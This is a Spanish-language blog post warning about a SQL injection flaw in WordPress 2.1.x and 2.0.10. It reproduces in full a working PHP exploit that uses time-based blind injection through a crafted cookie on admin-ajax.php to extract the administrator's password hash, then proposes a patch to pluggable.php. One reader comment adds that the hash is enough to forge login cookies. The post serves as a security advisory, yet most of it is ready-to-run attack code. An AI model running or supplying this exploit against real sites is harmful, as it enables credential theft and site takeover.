Sql Injection en WordPress

Actualización: Al parecer las versiones menores iguales a 2.0.10 también son vulnerables, por lo que es recomendable que actualicen por lo menos a 2.0.11-RC1 o hagan las correcciones del caso.

A los que todavía sigan usando la rama 2.1 de WordPress, ayer liberaron un exploit que aprovecha de manera remota una vulnerabilidad de tipo SQL Injection en wp-admin/admin-ajax.php

El exploit que muestran es el siguiente:

php:
<?php
error_reporting(E_ALL);
$norm_delay = 0;
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
// WordPress 2.1.3 "admin-ajax.php" sql injection blind fishing exploit
// written by Janek Vind "waraxe"
// http://www.waraxe.us/
// 21. may 2007
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
//=====================================================================
$outfile = './warlog.txt';// Log file
$url = 'http://localhost/wordpress.2.1.3/wp-admin/admin-ajax.php';
$testcnt = 300000;// Use bigger numbers, if server is slow, default is 300000
$id = 1;// ID of the target user, default value "1" is admin's ID
$suffix = '';// Override value, if needed
$prefix = 'wp_';// WordPress table prefix, default is "wp_"
//======================================================================

echo "Target: $url\n";
echo "sql table prefix: $prefix\n";

if(empty($suffix))
{
   $suffix = md5(substr($url, 0, strlen($url) - 24));
}

echo "cookie suffix: $suffix\n";

echo "testing probe delays \n";

$norm_delay = get_normdelay($testcnt);
echo "normal delay: $norm_delay deciseconds\n";

$hash = get_hash();

add_line("Target: $url");
add_line("User ID: $id");
add_line("Hash: $hash");

echo "\nWork finished\n";
echo "Questions and feedback - http://www.waraxe.us/ \n";
die("See ya! 🙂 \n");
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
function get_hash()
{
   $len = 32;
   $field = 'user_pass';
   $out = '';
   
   echo "finding hash now ...\n";
   
   for($i = 1; $i < $len + 1; $i ++)
   {
      $ch = get_hashchar($field,$i);
      echo "got $field pos $i --> $ch\n";
      $out .= "$ch";
      echo "current value for $field: $out \n";
   }
   
   echo "\nFinal result: $field=$out\n\n";
   
   return $out;
}
///////////////////////////////////////////////////////////////////////
function get_hashchar($field,$pos)
{
   global $prefix, $suffix, $id, $testcnt;
   $char = '';
   $cnt = $testcnt * 4;
   $ppattern = 'cookie=wordpressuser_%s%%3dxyz%%2527%s; wordpresspass_%s%%3dp0hh';
   $ipattern = " UNION ALL SELECT 1,2,user_pass,4,5,6,7,8,9,10 FROM %susers WHERE ID=%d AND IF(ORD(SUBSTRING($field,$pos,1))%s,BENCHMARK($cnt,MD5(1337)),3)/*";

   // First let's determine, if it's number or letter
   $inj = sprintf($ipattern, $prefix, $id, ">57");
   $post = sprintf($ppattern, $suffix, $inj, $suffix);
   $letter = test_condition($post);
   
   if($letter)
   {
      $min = 97;
      $max = 102;
      echo "char to find is [a-f]\n";
   }
   else
   {
      $min = 48;
      $max = 57;
      echo "char to find is [0-9]\n";
   }

   $curr = 0;
   
   while(1)
   {
      $area = $max - $min;
      if($area < 2 )
      {
         $inj = sprintf($ipattern, $prefix, $id, "=$max");
         $post = sprintf($ppattern, $suffix, $inj, $suffix);
         $eq = test_condition($post);
         
         if($eq)
         {
            $char = chr($max);
         }
         else
         {
            $char = chr($min);
         }
         
         break;
      }
     
      $half = intval(floor($area / 2));
      $curr = $min + $half;
     
      $inj = sprintf($ipattern, $prefix, $id, ">$curr");
      $post = sprintf($ppattern, $suffix, $inj, $suffix);
     
      $bigger = test_condition($post);
     
      if($bigger)
      {
         $min = $curr;
      }
      else
      {
         $max = $curr;
      }

      echo "curr: $curr--$max--$min\n";
   }
   
   return $char;
}
///////////////////////////////////////////////////////////////////////
function test_condition($p)
{
   global $url, $norm_delay;
   $bret = false;
   $maxtry = 10;
   $try = 1;
   
   while(1)
   {
      $start = getmicrotime();
      $buff = make_post($url, $p);
      $end = getmicrotime();
   
      if($buff === '-1')
      {
         break;
      }
      else
      {
         echo "test_condition() - try $try - invalid return value ...\n";
         $try ++;
         if($try > $maxtry)
         {
            die("too many tries - exiting ...\n");
         }
         else
         {
            echo "trying again - try $try ...\n";
         }
      }
   }
   
   $diff = $end - $start;
   $delay = intval($diff * 10);
   
   if($delay > ($norm_delay * 2))
   {
      $bret = true;
   }
   
   return $bret;
}
///////////////////////////////////////////////////////////////////////
function get_normdelay($testcnt)
{
   $fa = test_md5delay(1);
   echo "$fa\n";
   $sa = test_md5delay($testcnt);
   echo "$sa\n";
   $fb = test_md5delay(1);
   echo "$fb\n";
   $sb = test_md5delay($testcnt);
   echo "$sb\n";
   $fc = test_md5delay(1);
   echo "$fc\n";
   $sc = test_md5delay($testcnt);
   echo "$sc\n";
   
   $mean_nondelayed = intval(($fa + $fb + $fc) / 3);
   echo "mean nondelayed - $mean_nondelayed dsecs\n";
   $mean_delayed = intval(($sa + $sb + $sc) / 3);
   echo "mean delayed - $mean_delayed dsecs\n";
   
   return $mean_delayed;
}
///////////////////////////////////////////////////////////////////////
function test_md5delay($cnt)
{
   global $url, $id, $prefix, $suffix;
   
   // delay in deciseconds
   $delay = -1;
   $ppattern = 'cookie=wordpressuser_%s%%3dxyz%%2527%s; wordpresspass_%s%%3dp0hh';
   $ipattern = ' UNION ALL SELECT 1,2,user_pass,4,5,6,7,8,9,10 FROM %susers WHERE ID=%d AND IF(LENGTH(user_pass)>31,BENCHMARK(%d,MD5(1337)),3)/*';
   $inj = sprintf($ipattern, $prefix, $id, $cnt);
   $post = sprintf($ppattern, $suffix, $inj, $suffix);

   $start = getmicrotime();
   $buff = make_post($url, $post);
   $end = getmicrotime();
   
   if(intval($buff) !== -1)
   {
      die("test_md5delay($cnt) - invalid return value, exiting ...");
   }

   $diff = $end - $start;
   $delay = intval($diff * 10);

   return $delay;
}
///////////////////////////////////////////////////////////////////////
function getmicrotime()
{
    list($usec, $sec) = explode(" ", microtime());
    return ((float)$usec + (float)$sec);
}
///////////////////////////////////////////////////////////////////////
function make_post($url, $post_fields='', $cookie = '', $referer = '', $headers = FALSE)
{
   $ch = curl_init();
   $timeout = 120;
   curl_setopt ($ch, CURLOPT_URL, $url);
   curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
   curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
   curl_setopt($ch, CURLOPT_POST, 1);
   curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
   curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
   curl_setopt ($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)');
   
   if(!empty($cookie))
   {
      curl_setopt ($ch, CURLOPT_COOKIE, $cookie);
   }
 
   if(!empty($referer))
   {
      curl_setopt ($ch, CURLOPT_REFERER, $referer);
   }

   if($headers === TRUE)
   {
      curl_setopt ($ch, CURLOPT_HEADER, TRUE);
   }
   else
   {
      curl_setopt ($ch, CURLOPT_HEADER, FALSE);
   }

   $fc = curl_exec($ch);
   curl_close($ch);
   
   return $fc;
}
///////////////////////////////////////////////////////////////////////
function add_line($buf)
{
   global $outfile;
   
   $buf .= "\n";
   $fh = fopen($outfile, 'ab');
   fwrite($fh, $buf);
   fclose($fh);
   
}
///////////////////////////////////////////////////////////////////////
?>

Los autores de este exploit recomiendan actualizar a la versión 2.2 de WordPress, sin embargo, esta nueva versión también tiene un problema similar que detallaré en su debido momento*. Si no quieren migrar todavía a la versión 2.2, la siguiente línea resaltada parece corregir este fallo (archivo wp-includes/pluggable.php):

php:
if ( !function_exists('get_userdatabylogin') ) :
function get_userdatabylogin($user_login) {
        global $wpdb;
        $user_login = sanitize_user( $user_login );

        if ( empty( $user_login ) )
                return false;

        $userdata = wp_cache_get($user_login, 'userlogins');
        if ( $userdata )
                return $userdata;

        $user_login = $wpdb->escape($user_login);
               
        if ( !$user = $wpdb->get_row("SELECT * FROM $wpdb->users WHERE user_login = '$user_login'") )
                return false;

        $wpdb->hide_errors();
        $metavalues = $wpdb->get_results("SELECT meta_key, meta_value FROM $wpdb->usermeta WHERE user_id = '$user->ID'");
        $wpdb->show_errors();

        if ($metavalues) {
                foreach ( $metavalues as $meta ) {
                        $value = maybe_unserialize($meta->meta_value);
                        $user->{$meta->meta_key} = $value;

                        // We need to set user_level from meta, not row
                        if ( $wpdb->prefix . 'user_level' == $meta->meta_key )
                                $user->user_level = $meta->meta_value;
                }
        }

        // For backwards compat.
        if ( isset($user->first_name) )
                $user->user_firstname = $user->first_name;
        if ( isset($user->last_name) )
                $user->user_lastname = $user->last_name;
        if ( isset($user->description) )
                $user->user_description = $user->description;

        wp_cache_add($user->ID, $user, 'users');
        wp_cache_add($user->user_login, $user, 'userlogins');

        return $user;

}
endif;

*: Tengo que decidir que hacer con mi vida 🙂 y ponerme al tanto de las cosas que estaba haciendo luego de estas dos semanas de ausencia.

12 Replies to “Sql Injection en WordPress”

  1. ¿Puedes verificar si WP 2.0.10 también es vulnerable?

    Sigo sin entender por qué hay tantos que actualizan tan rápido en WP, con la racha de fallos tan graves detectados continuamente. ¡Qué poco aprecio por la seguridad de sus datos!

    En otros CMS bitacoriles, se lo toman con más calma a la hora de liberar versiones, probándolas exhaustivamente antes.

  2. Me parece que sólo la versión 2.1 es afectada, puesto que la línea resaltada que pongo arriba no existe en la rama 2.1, pero si en la 2.0 y 2.2

    Actualización: La versión 2.0.10 también es vulnerable a ese fallo, inicialmente estaba comparando las ramas 2.0 - 2.1 y no las versiones específicas.

  3. Muchas gracias. Ya he actualizado algunas bitácoras con WP 2.0.10.

    Si se utiliza el WP-cache, conviene borrar la cache...

  4. Ah, y en la 2.0.10 el fichero es: pluggable-functions.php

    Pregunta

    ¿Ya han implementado la solución que propusiste para el fallo de seguridad en Akismet?

  5. Por eso he estado tentado a ligar algunos blogs directo al SVN, cero stress para aplicar los parches 😉

    BTW: tienes razón con lo dle md5 y las claves de wordpress, seguro me confundí con alguna modificación que le hice jeje

  6. Una pregunta tal vez tonta: el exploit obtiene el id del usuario y el hash md5 del password, pero de todas formas no se puede obtener la contraseña a partir del hash md5 y por lo que vi hasta las cookies tienen doble hash. De que forma alguien podría obtener el password o entrar de alguna forma al sistema teniendo solamente el hash md5 de la contraseña? Esa es la duda que me queda. Desde ya gracias por la respuesta.

  7. Marce, dependiendo la complejidad de la contraseña se pueden utilizar técnicas de fuerza bruta para intentar obtener el valor que genera ese hash, pero para el caso de WordPress no es necesario saber el valor de la contraseña, puesto que sólo necesitas generar las cookies adecuadas para el sitio afectado.

Comments are closed.